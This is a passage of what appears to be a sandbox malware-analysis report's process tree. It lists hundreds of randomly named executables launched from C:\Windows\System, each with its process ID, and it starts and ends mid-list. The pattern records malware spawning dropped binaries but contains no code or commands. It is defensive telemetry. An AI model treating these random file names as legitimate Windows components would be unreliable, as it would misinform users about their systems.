  PID:5068
- C:\Windows\System\gknhkxH.exe
  C:\Windows\System\gknhkxH.exe
  2⤵
  PID:5084
- C:\Windows\System\KkvLwVw.exe
  C:\Windows\System\KkvLwVw.exe
  2⤵
  PID:5100
- C:\Windows\System\LjpIdrt.exe
  C:\Windows\System\LjpIdrt.exe
  2⤵
  PID:3268
- C:\Windows\System\YAWtjMq.exe
  C:\Windows\System\YAWtjMq.exe
  2⤵
  PID:2700
- C:\Windows\System\zAVyNij.exe
  C:\Windows\System\zAVyNij.exe
  2⤵
  PID:3364
- C:\Windows\System\GNyumyE.exe
  C:\Windows\System\GNyumyE.exe
  2⤵
  PID:3972
- C:\Windows\System\YoBrBax.exe
  C:\Windows\System\YoBrBax.exe
  2⤵
  PID:4072
- C:\Windows\System\WlnBXAz.exe
  C:\Windows\System\WlnBXAz.exe
  2⤵
  PID:2252
- C:\Windows\System\galepCU.exe
  C:\Windows\System\galepCU.exe
  2⤵
  PID:3600
- C:\Windows\System\eLzDELs.exe
  C:\Windows\System\eLzDELs.exe
  2⤵
  PID:1608
- C:\Windows\System\SlmuOIo.exe
  C:\Windows\System\SlmuOIo.exe
  2⤵
  PID:3496
- C:\Windows\System\pTLJRUq.exe
  C:\Windows\System\pTLJRUq.exe
  2⤵
  PID:3580
- C:\Windows\System\ucPDnbW.exe
  C:\Windows\System\ucPDnbW.exe
  2⤵
  PID:4192
- C:\Windows\System\lGOeAxQ.exe
  C:\Windows\System\lGOeAxQ.exe
  2⤵
  PID:3656
- C:\Windows\System\xHRcoVS.exe
  C:\Windows\System\xHRcoVS.exe
  2⤵
  PID:1632
- C:\Windows\System\ZLlYFaj.exe
  C:\Windows\System\ZLlYFaj.exe
  2⤵
  PID:3928
- C:\Windows\System\mxnRYUs.exe
  C:\Windows\System\mxnRYUs.exe
  2⤵
  PID:4048
- C:\Windows\System\oQDdcua.exe
  C:\Windows\System\oQDdcua.exe
  2⤵
  PID:3188
- C:\Windows\System\YOKsgdB.exe
  C:\Windows\System\YOKsgdB.exe
  2⤵
  PID:320
- C:\Windows\System\KPzQCqu.exe
  C:\Windows\System\KPzQCqu.exe
  2⤵
  PID:2560
- C:\Windows\System\YXLaiho.exe
  C:\Windows\System\YXLaiho.exe
  2⤵
  PID:3452
- C:\Windows\System\yNrloDS.exe
  C:\Windows\System\yNrloDS.exe
  2⤵
  PID:3156
- C:\Windows\System\SQAUcLJ.exe
  C:\Windows\System\SQAUcLJ.exe
  2⤵
  PID:3084
- C:\Windows\System\rDljYsR.exe
  C:\Windows\System\rDljYsR.exe
  2⤵
  PID:2572
- C:\Windows\System\zVYwqQE.exe
  C:\Windows\System\zVYwqQE.exe
  2⤵
  PID:3740
- C:\Windows\System\exiwqcm.exe
  C:\Windows\System\exiwqcm.exe
  2⤵
  PID:4140
- C:\Windows\System\EoGSDqG.exe
  C:\Windows\System\EoGSDqG.exe
  2⤵
  PID:4208
- C:\Windows\System\IadJNAd.exe
  C:\Windows\System\IadJNAd.exe
  2⤵
  PID:4252
- C:\Windows\System\bKcMQQN.exe
  C:\Windows\System\bKcMQQN.exe
  2⤵
  PID:4276
- C:\Windows\System\PYyptEc.exe
  C:\Windows\System\PYyptEc.exe
  2⤵
  PID:4292
- C:\Windows\System\vyYeUQX.exe
  C:\Windows\System\vyYeUQX.exe
  2⤵
  PID:4312
- C:\Windows\System\lUYHhxF.exe
  C:\Windows\System\lUYHhxF.exe
  2⤵
  PID:4332
- C:\Windows\System\fpGtmBb.exe
  C:\Windows\System\fpGtmBb.exe
  2⤵
  PID:4356
- C:\Windows\System\olkPSpx.exe
  C:\Windows\System\olkPSpx.exe
  2⤵
  PID:4380
- C:\Windows\System\FlRVacM.exe
  C:\Windows\System\FlRVacM.exe
  2⤵
  PID:2052
- C:\Windows\System\uehtBjn.exe
  C:\Windows\System\uehtBjn.exe
  2⤵
  PID:4400
- C:\Windows\System\zfcvyQU.exe
  C:\Windows\System\zfcvyQU.exe
  2⤵
  PID:4436
- C:\Windows\System\DDMLvIE.exe
  C:\Windows\System\DDMLvIE.exe
  2⤵
  PID:4496
- C:\Windows\System\OlEANFd.exe
  C:\Windows\System\OlEANFd.exe
  2⤵
  PID:4588
- C:\Windows\System\iTxeOrH.exe
  C:\Windows\System\iTxeOrH.exe
  2⤵
  PID:4576
- C:\Windows\System\tCyZMax.exe
  C:\Windows\System\tCyZMax.exe
  2⤵
  PID:4684
- C:\Windows\System\JwxTtBU.exe
  C:\Windows\System\JwxTtBU.exe
  2⤵
  PID:3360
- C:\Windows\System\SQybqkp.exe
  C:\Windows\System\SQybqkp.exe
  2⤵
  PID:4868
- C:\Windows\System\qWDnKcg.exe
  C:\Windows\System\qWDnKcg.exe
  2⤵
  PID:4820
- C:\Windows\System\weHmUPG.exe
  C:\Windows\System\weHmUPG.exe
  2⤵
  PID:4756
- C:\Windows\System\EBFXukt.exe
  C:\Windows\System\EBFXukt.exe
  2⤵
  PID:4708
- C:\Windows\System\tMhQFcL.exe
  C:\Windows\System\tMhQFcL.exe
  2⤵
  PID:4880
- C:\Windows\System\obfNQBu.exe
  C:\Windows\System\obfNQBu.exe
  2⤵
  PID:4888
- C:\Windows\System\xGRoDxP.exe
  C:\Windows\System\xGRoDxP.exe
  2⤵
  PID:1928
- C:\Windows\System\AWPLeXF.exe
  C:\Windows\System\AWPLeXF.exe
  2⤵
  PID:4936
- C:\Windows\System\cZysEbV.exe
  C:\Windows\System\cZysEbV.exe
  2⤵
  PID:4960
- C:\Windows\System\sqsZrLD.exe
  C:\Windows\System\sqsZrLD.exe
  2⤵
  PID:4976
- C:\Windows\System\VkdPRRc.exe
  C:\Windows\System\VkdPRRc.exe
  2⤵
  PID:5000
- C:\Windows\System\HwhWyxh.exe
  C:\Windows\System\HwhWyxh.exe
  2⤵
  PID:5060
- C:\Windows\System\tsfTytl.exe
  C:\Windows\System\tsfTytl.exe
  2⤵
  PID:5112
- C:\Windows\System\FleaRnX.exe
  C:\Windows\System\FleaRnX.exe
  2⤵
  PID:3240
- C:\Windows\System\nNDDlIL.exe
  C:\Windows\System\nNDDlIL.exe
  2⤵
  PID:2100
- C:\Windows\System\hHiuIDb.exe
  C:\Windows\System\hHiuIDb.exe
  2⤵
  PID:3856
- C:\Windows\System\MoQtXfV.exe
  C:\Windows\System\MoQtXfV.exe
  2⤵
  PID:3388
- C:\Windows\System\wpIruOw.exe
  C:\Windows\System\wpIruOw.exe
  2⤵
  PID:1728
- C:\Windows\System\CVIpzso.exe
  C:\Windows\System\CVIpzso.exe
  2⤵
  PID:3544
- C:\Windows\System\rWKwdBN.exe
  C:\Windows\System\rWKwdBN.exe
  2⤵
  PID:3124
- C:\Windows\System\wbxtfnM.exe
  C:\Windows\System\wbxtfnM.exe
  2⤵
  PID:3316
- C:\Windows\System\hOhIeia.exe
  C:\Windows\System\hOhIeia.exe
  2⤵
  PID:3764
- C:\Windows\System\DatNzjy.exe
  C:\Windows\System\DatNzjy.exe
  2⤵
  PID:4128
- C:\Windows\System\mFgwfLk.exe
  C:\Windows\System\mFgwfLk.exe
  2⤵
  PID:1268
- C:\Windows\System\KJJPcDy.exe
  C:\Windows\System\KJJPcDy.exe
  2⤵
  PID:4352
- C:\Windows\System\VhqhPcJ.exe
  C:\Windows\System\VhqhPcJ.exe
  2⤵
  PID:3304
- C:\Windows\System\lKeVgTf.exe
  C:\Windows\System\lKeVgTf.exe
  2⤵
  PID:3408
- C:\Windows\System\UvbYvns.exe
  C:\Windows\System\UvbYvns.exe
  2⤵
  PID:3108
- C:\Windows\System\ESrdktP.exe
  C:\Windows\System\ESrdktP.exe
  2⤵
  PID:1100
- C:\Windows\System\gMwKspr.exe
  C:\Windows\System\gMwKspr.exe
  2⤵
  PID:4204
- C:\Windows\System\NIocUoO.exe
  C:\Windows\System\NIocUoO.exe
  2⤵
  PID:4248
- C:\Windows\System\GcUgZSX.exe
  C:\Windows\System\GcUgZSX.exe
  2⤵
  PID:4264
- C:\Windows\System\Foyrbho.exe
  C:\Windows\System\Foyrbho.exe
  2⤵
  PID:4328
- C:\Windows\System\YNrPtBF.exe
  C:\Windows\System\YNrPtBF.exe
  2⤵
  PID:1520
- C:\Windows\System\lePmqpx.exe
  C:\Windows\System\lePmqpx.exe
  2⤵
  PID:4368
- C:\Windows\System\GejNFBn.exe
  C:\Windows\System\GejNFBn.exe
  2⤵
  PID:2600
- C:\Windows\System\FPNVEyy.exe
  C:\Windows\System\FPNVEyy.exe
  2⤵
  PID:4420
- C:\Windows\System\UOXodbh.exe
  C:\Windows\System\UOXodbh.exe
  2⤵
  PID:4472
- C:\Windows\System\jVnarZg.exe
  C:\Windows\System\jVnarZg.exe
  2⤵
  PID:4556
- C:\Windows\System\tvpIDER.exe
  C:\Windows\System\tvpIDER.exe
  2⤵
  PID:4560
- C:\Windows\System\ObUzdhE.exe
  C:\Windows\System\ObUzdhE.exe
  2⤵
  PID:4760
- C:\Windows\System\KrPXNjz.exe
  C:\Windows\System\KrPXNjz.exe
  2⤵
  PID:4620
- C:\Windows\System\VzkargH.exe
  C:\Windows\System\VzkargH.exe
  2⤵
  PID:2896
- C:\Windows\System\StrIuOP.exe
  C:\Windows\System\StrIuOP.exe
  2⤵
  PID:4872
- C:\Windows\System\letQIKF.exe
  C:\Windows\System\letQIKF.exe
  2⤵
  PID:4792
- C:\Windows\System\KZfRFsg.exe
  C:\Windows\System\KZfRFsg.exe
  2⤵
  PID:4776
- C:\Windows\System\kGCQXBA.exe
  C:\Windows\System\kGCQXBA.exe
  2⤵
  PID:4808
- C:\Windows\System\YJhXzDh.exe
  C:\Windows\System\YJhXzDh.exe
  2⤵
  PID:4896
- C:\Windows\System\YrPhbof.exe
  C:\Windows\System\YrPhbof.exe
  2⤵
  PID:4912
- C:\Windows\System\BGAWrpp.exe
  C:\Windows\System\BGAWrpp.exe
  2⤵
  PID:4928
- C:\Windows\System\zbddSFH.exe
  C:\Windows\System\zbddSFH.exe
  2⤵
  PID:5032
- C:\Windows\System\fvKWfHV.exe
  C:\Windows\System\fvKWfHV.exe
  2⤵
  PID:4948
- C:\Windows\System\SYngtAg.exe
  C:\Windows\System\SYngtAg.exe
  2⤵
  PID:5012
- C:\Windows\System\gtNoUUI.exe
  C:\Windows\System\gtNoUUI.exe
  2⤵
  PID:1616
- C:\Windows\System\Upyqkap.exe
  C:\Windows\System\Upyqkap.exe
  2⤵
  PID:3344
- C:\Windows\System\gBVamXZ.exe
  C:\Windows\System\gBVamXZ.exe
  2⤵
  PID:5128
- C:\Windows\System\vqkFVUW.exe
  C:\Windows\System\vqkFVUW.exe
  2⤵
  PID:5144
- C:\Windows\System\twfJJqO.exe
  C:\Windows\System\twfJJqO.exe
  2⤵
  PID:5160
- C:\Windows\System\xWrSnDX.exe
  C:\Windows\System\xWrSnDX.exe
  2⤵
  PID:5180
- C:\Windows\System\fffiDLQ.exe
  C:\Windows\System\fffiDLQ.exe
  2⤵
  PID:5196
- C:\Windows\System\WPyJtGQ.exe
  C:\Windows\System\WPyJtGQ.exe
  2⤵
  PID:5216
- C:\Windows\System\flkUrkg.exe
  C:\Windows\System\flkUrkg.exe
  2⤵
  PID:5232
- C:\Windows\System\LEBxANV.exe
  C:\Windows\System\LEBxANV.exe
  2⤵
  PID:5248
- C:\Windows\System\LSIHUaZ.exe
  C:\Windows\System\LSIHUaZ.exe
  2⤵
  PID:5264
- C:\Windows\System\OUTGoTA.exe
  C:\Windows\System\OUTGoTA.exe
  2⤵
  PID:5284
- C:\Windows\System\NzDnLzU.exe
  C:\Windows\System\NzDnLzU.exe
  2⤵
  PID:5300
- C:\Windows\System\TQTfWJZ.exe
  C:\Windows\System\TQTfWJZ.exe
  2⤵
  PID:5316
- C:\Windows\System\BqPQMtO.exe
  C:\Windows\System\BqPQMtO.exe
  2⤵
  PID:5332
- C:\Windows\System\oFsNEwr.exe
  C:\Windows\System\oFsNEwr.exe
  2⤵
  PID:5348
- C:\Windows\System\Zjvcigu.exe
  C:\Windows\System\Zjvcigu.exe
  2⤵
  PID:5364
- C:\Windows\System\YkIPdsq.exe
  C:\Windows\System\YkIPdsq.exe
  2⤵
  PID:5384
- C:\Windows\System\fUZssoN.exe
  C:\Windows\System\fUZssoN.exe
  2⤵
  PID:5400
- C:\Windows\System\deIcNzs.exe
  C:\Windows\System\deIcNzs.exe
  2⤵
  PID:5416
- C:\Windows\System\fYOYRzU.exe
  C:\Windows\System\fYOYRzU.exe
  2⤵
  PID:5432
- C:\Windows\System\LBYSwCl.exe
  C:\Windows\System\LBYSwCl.exe
  2⤵
  PID:5448
- C:\Windows\System\BOzhnnm.exe
  C:\Windows\System\BOzhnnm.exe
  2⤵
  PID:5464
- C:\Windows\System\ERpirNm.exe
  C:\Windows\System\ERpirNm.exe
  2⤵
  PID:5480
- C:\Windows\System\qGbtWDw.exe
  C:\Windows\System\qGbtWDw.exe
  2⤵
  PID:5496
- C:\Windows\System\AOyZrWV.exe
  C:\Windows\System\AOyZrWV.exe
  2⤵
  PID:5516
- C:\Windows\System\AovtHXR.exe
  C:\Windows\System\AovtHXR.exe
  2⤵
  PID:5536
- C:\Windows\System\xwrbanM.exe
  C:\Windows\System\xwrbanM.exe
  2⤵
  PID:5552
- C:\Windows\System\hxHWkwu.exe
  C:\Windows\System\hxHWkwu.exe
  2⤵
  PID:5568
- C:\Windows\System\etgPxJy.exe
  C:\Windows\System\etgPxJy.exe
  2⤵
  PID:5584
- C:\Windows\System\OVPDMio.exe
  C:\Windows\System\OVPDMio.exe
  2⤵
  PID:5604
- C:\Windows\System\FuWcjyU.exe
  C:\Windows\System\FuWcjyU.exe
  2⤵
  PID:5620
- C:\Windows\System\hUMTOeo.exe
  C:\Windows\System\hUMTOeo.exe
  2⤵
  PID:5636
- C:\Windows\System\pMgXkms.exe
  C:\Windows\System\pMgXkms.exe
  2⤵
  PID:5668
- C:\Windows\System\tTZkrdY.exe
  C:\Windows\System\tTZkrdY.exe
  2⤵
  PID:5684
- C:\Windows\System\XwAAguR.exe
  C:\Windows\System\XwAAguR.exe
  2⤵
  PID:5700
- C:\Windows\System\pQOBueC.exe
  C:\Windows\System\pQOBueC.exe
  2⤵
  PID:5716
- C:\Windows\System\MnmbfMM.exe
  C:\Windows\System\MnmbfMM.exe
  2⤵
  PID:5732
- C:\Windows\System\LddXbGn.exe
  C:\Windows\System\LddXbGn.exe
  2⤵
  PID:5748
- C:\Windows\System\kUKEwKo.exe
  C:\Windows\System\kUKEwKo.exe
  2⤵
  PID:5764
- C:\Windows\System\gybduWh.exe
  C:\Windows\System\gybduWh.exe
  2⤵
  PID:5780
- C:\Windows\System\nWojNwo.exe
  C:\Windows\System\nWojNwo.exe
  2⤵
  PID:5796
- C:\Windows\System\oixLiFz.exe
  C:\Windows\System\oixLiFz.exe
  2⤵
  PID:5816
- C:\Windows\System\OoQhrua.exe
  C:\Windows\System\OoQhrua.exe
  2⤵
  PID:5832
- C:\Windows\System\muUbDNy.exe
  C:\Windows\System\muUbDNy.exe
  2⤵
  PID:5848
- C:\Windows\System\PfmoVbY.exe
  C:\Windows\System\PfmoVbY.exe
  2⤵
  PID:5892
- C:\Windows\System\KPBknzl.exe
  C:\Windows\System\KPBknzl.exe
  2⤵
  PID:5916
- C:\Windows\System\CXLbOZp.exe
  C:\Windows\System\CXLbOZp.exe
  2⤵
  PID:5968
- C:\Windows\System\mfsmuDP.exe
  C:\Windows\System\mfsmuDP.exe
  2⤵
  PID:5988
- C:\Windows\System\wZYZdjK.exe
  C:\Windows\System\wZYZdjK.exe
  2⤵
  PID:6004
- C:\Windows\System\YsqKqxN.exe
  C:\Windows\System\YsqKqxN.exe
  2⤵
  PID:6028
- C:\Windows\System\pzmYmJA.exe
  C:\Windows\System\pzmYmJA.exe
  2⤵
  PID:6044
- C:\Windows\System\vPAnyFM.exe
  C:\Windows\System\vPAnyFM.exe
  2⤵
  PID:6060
- C:\Windows\System\EVMYkvT.exe
  C:\Windows\System\EVMYkvT.exe
  2⤵
  PID:6076
- C:\Windows\System\bhbUSjL.exe
  C:\Windows\System\bhbUSjL.exe
  2⤵
  PID:6112
- C:\Windows\System\BDrBimE.exe
  C:\Windows\System\BDrBimE.exe
  2⤵
  PID:6128
- C:\Windows\System\CRPqpgd.exe
  C:\Windows\System\CRPqpgd.exe
  2⤵
  PID:4160
- C:\Windows\System\kGdVJUc.exe
  C:\Windows\System\kGdVJUc.exe
  2⤵
  PID:632
- C:\Windows\System\XfjhIJC.exe
  C:\Windows\System\XfjhIJC.exe
  2⤵
  PID:3604
- C:\Windows\System\nnDioAh.exe
  C:\Windows\System\nnDioAh.exe
  2⤵
  PID:2132
- C:\Windows\System\rWYbCQM.exe
  C:\Windows\System\rWYbCQM.exe
  2⤵
  PID:4300
- C:\Windows\System\CiUZMpC.exe
  C:\Windows\System\CiUZMpC.exe
  2⤵
  PID:4876
- C:\Windows\System\GfYzkwp.exe
  C:\Windows\System\GfYzkwp.exe
  2⤵
  PID:4020
- C:\Windows\System\ZCbIgiQ.exe
  C:\Windows\System\ZCbIgiQ.exe
  2⤵
  PID:4512
- C:\Windows\System\pHKPeql.exe
  C:\Windows\System\pHKPeql.exe
  2⤵
  PID:5488
- C:\Windows\System\URUnAoq.exe
  C:\Windows\System\URUnAoq.exe
  2⤵
  PID:3768
- C:\Windows\System\tmVTuJi.exe
  C:\Windows\System\tmVTuJi.exe
  2⤵
  PID:4056
- C:\Windows\System\bwjkJLa.exe
  C:\Windows\System\bwjkJLa.exe
  2⤵
  PID:4924
- C:\Windows\System\bVuCybL.exe
  C:\Windows\System\bVuCybL.exe
  2⤵
  PID:5676
- C:\Windows\System\KnRPgin.exe
  C:\Windows\System\KnRPgin.exe
  2⤵
  PID:5740
- C:\Windows\System\IzsFWJy.exe
  C:\Windows\System\IzsFWJy.exe
  2⤵
  PID:5020
- C:\Windows\System\yVNGqEK.exe
  C:\Windows\System\yVNGqEK.exe
  2⤵
  PID:5772
- C:\Windows\System\yCjxdku.exe
  C:\Windows\System\yCjxdku.exe
  2⤵
  PID:5660
- C:\Windows\System\hheKiRU.exe
  C:\Windows\System\hheKiRU.exe
  2⤵
  PID:3816
- C:\Windows\System\uhzhbuI.exe
  C:\Windows\System\uhzhbuI.exe
  2⤵
  PID:5136
- C:\Windows\System\QFkgrSN.exe
  C:\Windows\System\QFkgrSN.exe
  2⤵
  PID:5664
- C:\Windows\System\IkwReHb.exe
  C:\Windows\System\IkwReHb.exe
  2⤵
  PID:5728
- C:\Windows\System\UnRORSt.exe
  C:\Windows\System\UnRORSt.exe
  2⤵
  PID:5760
- C:\Windows\System\duyNzne.exe
  C:\Windows\System\duyNzne.exe
  2⤵
  PID:5240
- C:\Windows\System\jfAgKiF.exe
  C:\Windows\System\jfAgKiF.exe
  2⤵
  PID:5440
- C:\Windows\System\jpJCBmz.exe
  C:\Windows\System\jpJCBmz.exe
  2⤵
  PID:5292
- C:\Windows\System\bVklWNs.exe
  C:\Windows\System\bVklWNs.exe
  2⤵
  PID:5628
- C:\Windows\System\hEBGvhV.exe
  C:\Windows\System\hEBGvhV.exe
  2⤵
  PID:5324
- C:\Windows\System\DwprKDJ.exe
  C:\Windows\System\DwprKDJ.exe
  2⤵
  PID:5844
- C:\Windows\System\WtFcZQA.exe
  C:\Windows\System\WtFcZQA.exe
  2⤵
  PID:5328
- C:\Windows\System\rLNMLXU.exe
  C:\Windows\System\rLNMLXU.exe
  2⤵
  PID:5460
- C:\Windows\System\kPKFKTt.exe
  C:\Windows\System\kPKFKTt.exe
  2⤵
  PID:5596
- C:\Windows\System\TWvVWaq.exe
  C:\Windows\System\TWvVWaq.exe
  2⤵
  PID:5208
- C:\Windows\System\SVWQXjB.exe
  C:\Windows\System\SVWQXjB.exe
  2⤵
  PID:4572
- C:\Windows\System\BWSkiem.exe
  C:\Windows\System\BWSkiem.exe
  2⤵
  PID:4900
- C:\Windows\System\JizGqLU.exe
  C:\Windows\System\JizGqLU.exe
  2⤵
  PID:5900
- C:\Windows\System\UAtMsJN.exe
  C:\Windows\System\UAtMsJN.exe
  2⤵
  PID:5860
- C:\Windows\System\LxMSdfP.exe
  C:\Windows\System\LxMSdfP.exe
  2⤵
  PID:5888
- C:\Windows\System\DffcTSR.exe
  C:\Windows\System\DffcTSR.exe
  2⤵
  PID:5912
- C:\Windows\System\ykFONYB.exe
  C:\Windows\System\ykFONYB.exe
  2⤵
  PID:5936
- C:\Windows\System\miNLRyj.exe
  C:\Windows\System\miNLRyj.exe
  2⤵
  PID:5952
- C:\Windows\System\njvSHLH.exe
  C:\Windows\System\njvSHLH.exe
  2⤵
  PID:5984
- C:\Windows\System\tqBobjB.exe
  C:\Windows\System\tqBobjB.exe
  2⤵
  PID:5964
- C:\Windows\System\VflXPfi.exe
  C:\Windows\System\VflXPfi.exe
  2⤵
  PID:6056
- C:\Windows\System\mZiJcJR.exe
  C:\Windows\System\mZiJcJR.exe
  2⤵
  PID:6072
- C:\Windows\System\OgPKqpz.exe
  C:\Windows\System\OgPKqpz.exe
  2⤵
  PID:6088
- C:\Windows\System\OkybeNr.exe
  C:\Windows\System\OkybeNr.exe
  2⤵
  PID:6104
- C:\Windows\System\uusmJCW.exe
  C:\Windows\System\uusmJCW.exe
  2⤵
  PID:3680
- C:\Windows\System\ldJfvpo.exe
  C:\Windows\System\ldJfvpo.exe
  2⤵
  PID:4652
- C:\Windows\System\KNSDcWr.exe
  C:\Windows\System\KNSDcWr.exe
  2⤵
  PID:4464
- C:\Windows\System\NTZusJh.exe
  C:\Windows\System\NTZusJh.exe
  2⤵
  PID:3404
- C:\Windows\System\NmpVPnZ.exe
  C:\Windows\System\NmpVPnZ.exe
  2⤵
  PID:1052
- C:\Windows\System\ECKGIXt.exe
  C:\Windows\System\ECKGIXt.exe
  2⤵
  PID:5204
- C:\Windows\System\xuCSHmr.exe
  C:\Windows\System\xuCSHmr.exe
  2⤵
  PID:5312
- C:\Windows\System\EtMIIMl.exe
  C:\Windows\System\EtMIIMl.exe
  2⤵
  PID:5380
- C:\Windows\System\Ozsrwar.exe
  C:\Windows\System\Ozsrwar.exe
  2⤵
  PID:5512
- C:\Windows\System\jeNybKT.exe
  C:\Windows\System\jeNybKT.exe
  2⤵
  PID:5096
- C:\Windows\System\qdUTCbi.exe
  C:\Windows\System\qdUTCbi.exe
  2⤵
  PID:3528
- C:\Windows\System\tczgVOw.exe
  C:\Windows\System\tczgVOw.exe
  2⤵
  PID:5656
- C:\Windows\System\JiXOhiq.exe
  C:\Windows\System\JiXOhiq.exe
  2⤵
  PID:2876
- C:\Windows\System\jUDEzFt.exe
  C:\Windows\System\jUDEzFt.exe
  2⤵
  PID:3676
- C:\Windows\System\AKBzlVb.exe
  C:\Windows\System\AKBzlVb.exe
  2⤵
  PID:4324
- C:\Windows\System\SUDthFU.exe
  C:\Windows\System\SUDthFU.exe
  2⤵
  PID:4688
- C:\Windows\System\YkhFQGm.exe
  C:\Windows\System\YkhFQGm.exe
  2⤵
  PID:4172
- C:\Windows\System\UrKKigp.exe
  C:\Windows\System\UrKKigp.exe
  2⤵
  PID:4268
- C:\Windows\System\RqGqGLH.exe
  C:\Windows\System\RqGqGLH.exe
  2⤵
  PID:6020
- C:\Windows\System\dyeqeEf.exe
  C:\Windows\System\dyeqeEf.exe
  2⤵
  PID:4772
- C:\Windows\System\KOhiZTP.exe
  C:\Windows\System\KOhiZTP.exe
  2⤵
  PID:4952
- C:\Windows\System\bQbKANU.exe
  C:\Windows\System\bQbKANU.exe
  2⤵
  PID:5696
- C:\Windows\System\VSRFMhW.exe
  C:\Windows\System\VSRFMhW.exe
  2⤵
  PID:5692
- C:\Windows\System\HLbfGSJ.exe
  C:\Windows\System\HLbfGSJ.exe
  2⤵
  PID:5308
- C:\Windows\System\qaSJWfE.exe
  C:\Windows\System\qaSJWfE.exe
  2⤵
  PID:5504
- C:\Windows\System\MXYvRhv.exe
  C:\Windows\System\MXYvRhv.exe
  2⤵
  PID:5424
- C:\Windows\System\sDuEFwG.exe
  C:\Windows\System\sDuEFwG.exe
  2⤵
  PID:5356
- C:\Windows\System\iwTmewL.exe
  C:\Windows\System\iwTmewL.exe
  2⤵
  PID:5840
- C:\Windows\System\dhgnefB.exe
  C:\Windows\System\dhgnefB.exe
  2⤵
  PID:5428
- C:\Windows\System\dPQiJhO.exe
  C:\Windows\System\dPQiJhO.exe
  2⤵
  PID:4640
- C:\Windows\System\GjyDCNv.exe
  C:\Windows\System\GjyDCNv.exe
  2⤵
  PID:5908
- C:\Windows\System\UiZLmZA.exe
  C:\Windows\System\UiZLmZA.exe
  2⤵
  PID:5996
- C:\Windows\System\hCCQnoo.exe
  C:\Windows\System\hCCQnoo.exe
  2⤵
  PID:6100
- C:\Windows\System\ziGTijE.exe
  C:\Windows\System\ziGTijE.exe
  2⤵
  PID:4624
- C:\Windows\System\ovpIXcV.exe
  C:\Windows\System\ovpIXcV.exe
  2⤵
  PID:5280
- C:\Windows\System\rizjWDT.exe
  C:\Windows\System\rizjWDT.exe
  2⤵
  PID:4480
- C:\Windows\System\kxAXimE.exe
  C:\Windows\System\kxAXimE.exe
  2⤵
  PID:3300
- C:\Windows\System\EEfJuVW.exe
  C:\Windows\System\EEfJuVW.exe
  2⤵
  PID:4656
- C:\Windows\System\TcfLzRF.exe
  C:\Windows\System\TcfLzRF.exe
  2⤵
  PID:5756
- C:\Windows\System\joHwBLa.exe
  C:\Windows\System\joHwBLa.exe
  2⤵
  PID:5960
- C:\Windows\System\KGCjVDl.exe
  C:\Windows\System\KGCjVDl.exe
  2⤵
  PID:5076
- C:\Windows\System\ekabOKb.exe
  C:\Windows\System\ekabOKb.exe
  2⤵
  PID:5980
- C:\Windows\System\sMfOnkR.exe
  C:\Windows\System\sMfOnkR.exe
  2⤵
  PID:5244
- C:\Windows\System\yWRExbp.exe
  C:\Windows\System\yWRExbp.exe
  2⤵
  PID:5532
- C:\Windows\System\NFVgyab.exe
  C:\Windows\System\NFVgyab.exe
  2⤵
  PID:4108
- C:\Windows\System\kUyMzPK.exe
  C:\Windows\System\kUyMzPK.exe
  2⤵
  PID:5188
- C:\Windows\System\JCVoTaE.exe
  C:\Windows\System\JCVoTaE.exe
  2⤵
  PID:5724
- C:\Windows\System\FjegKLT.exe
  C:\Windows\System\FjegKLT.exe
  2⤵
  PID:4544
- C:\Windows\System\fIXerlg.exe
  C:\Windows\System\fIXerlg.exe
  2⤵
  PID:6124
- C:\Windows\System\HaLNjVq.exe
  C:\Windows\System\HaLNjVq.exe
  2⤵
  PID:5192
- C:\Windows\System\Uthxnyf.exe
  C:\Windows\System\Uthxnyf.exe
  2⤵
  PID:5948
- C:\Windows\System\eySvUny.exe
  C:\Windows\System\eySvUny.exe
  2⤵
  PID:5476
- C:\Windows\System\UmiaJLo.exe
  C:\Windows\System\UmiaJLo.exe
  2⤵
  PID:5808
- C:\Windows\System\OnyDTQe.exe
  C:\Windows\System\OnyDTQe.exe
  2⤵
  PID:5864
- C:\Windows\System\JUVeUgz.exe
  C:\Windows\System\JUVeUgz.exe
  2⤵
  PID:6140
- C:\Windows\System\vWBgdea.exe
  C:\Windows\System\vWBgdea.exe
  2⤵
  PID:5712
- C:\Windows\System\RLQuBfe.exe
  C:\Windows\System\RLQuBfe.exe
  2⤵
  PID:5880
- C:\Windows\System\jdEMxcK.exe
  C:\Windows\System\jdEMxcK.exe
  2⤵
  PID:2056
- C:\Windows\System\frwrLyX.exe
  C:\Windows\System\frwrLyX.exe
  2⤵
  PID:5544
- C:\Windows\System\cDuPpeB.exe
  C:\Windows\System\cDuPpeB.exe
  2⤵
  PID:5396
- C:\Windows\System\UgXgXlV.exe
  C:\Windows\System\UgXgXlV.exe
  2⤵
  PID:5444
- C:\Windows\System\IPnYEQd.exe
  C:\Windows\System\IPnYEQd.exe
  2⤵
  PID:4288
- C:\Windows\System\bnSwpyf.exe
  C:\Windows\System\bnSwpyf.exe
  2⤵
  PID:6160
- C:\Windows\System\ZgEmiBj.exe
  C:\Windows\System\ZgEmiBj.exe
  2⤵
  PID:6176
- C:\Windows\System\wnFiJMH.exe
  C:\Windows\System\wnFiJMH.exe
  2⤵
  PID:6192
- C:\Windows\System\BPKHvqH.exe
  C:\Windows\System\BPKHvqH.exe
  2⤵
  PID:6208
- C:\Windows\System\PhXbqyf.exe
  C:\Windows\System\PhXbqyf.exe
  2⤵
  PID:6224
- C:\Windows\System\yggutwB.exe
  C:\Windows\System\yggutwB.exe
  2⤵
  PID:6240
- C:\Windows\System\vTYWpwP.exe
  C:\Windows\System\vTYWpwP.exe
  2⤵
  PID:6256
- C:\Windows\System\NqDGUDI.exe
  C:\Windows\System\NqDGUDI.exe
  2⤵
  PID:6272
- C:\Windows\System\ZyprmMm.exe
  C:\Windows\System\ZyprmMm.exe
  2⤵
  PID:6288
- C:\Windows\System\aRZAzhe.exe
  C:\Windows\System\aRZAzhe.exe
  2⤵
  PID:6304
- C:\Windows\System\vPZbfHX.exe
  C:\Windows\System\vPZbfHX.exe
  2⤵
  PID:6320
- C:\Windows\System\xtphSpF.exe
  C:\Windows\System\xtphSpF.exe
  2⤵
  PID:6336
- C:\Windows\System\ndnvLfL.exe
  C:\Windows\System\ndnvLfL.exe
  2⤵
  PID:6352
- C:\Windows\System\GjqTuMp.exe
  C:\Windows\System\GjqTuMp.exe
  2⤵
  PID:6368
- C:\Windows\System\QCiJIyc.exe
  C:\Windows\System\QCiJIyc.exe
  2⤵
  PID:6384
- C:\Windows\System\THXeQxX.exe
  C:\Windows\System\THXeQxX.exe
  2⤵
  PID:6404
- C:\Windows\System\oxYkTHy.exe
  C:\Windows\System\oxYkTHy.exe
  2⤵
  PID:6420
- C:\Windows\System\RoaFXsK.exe
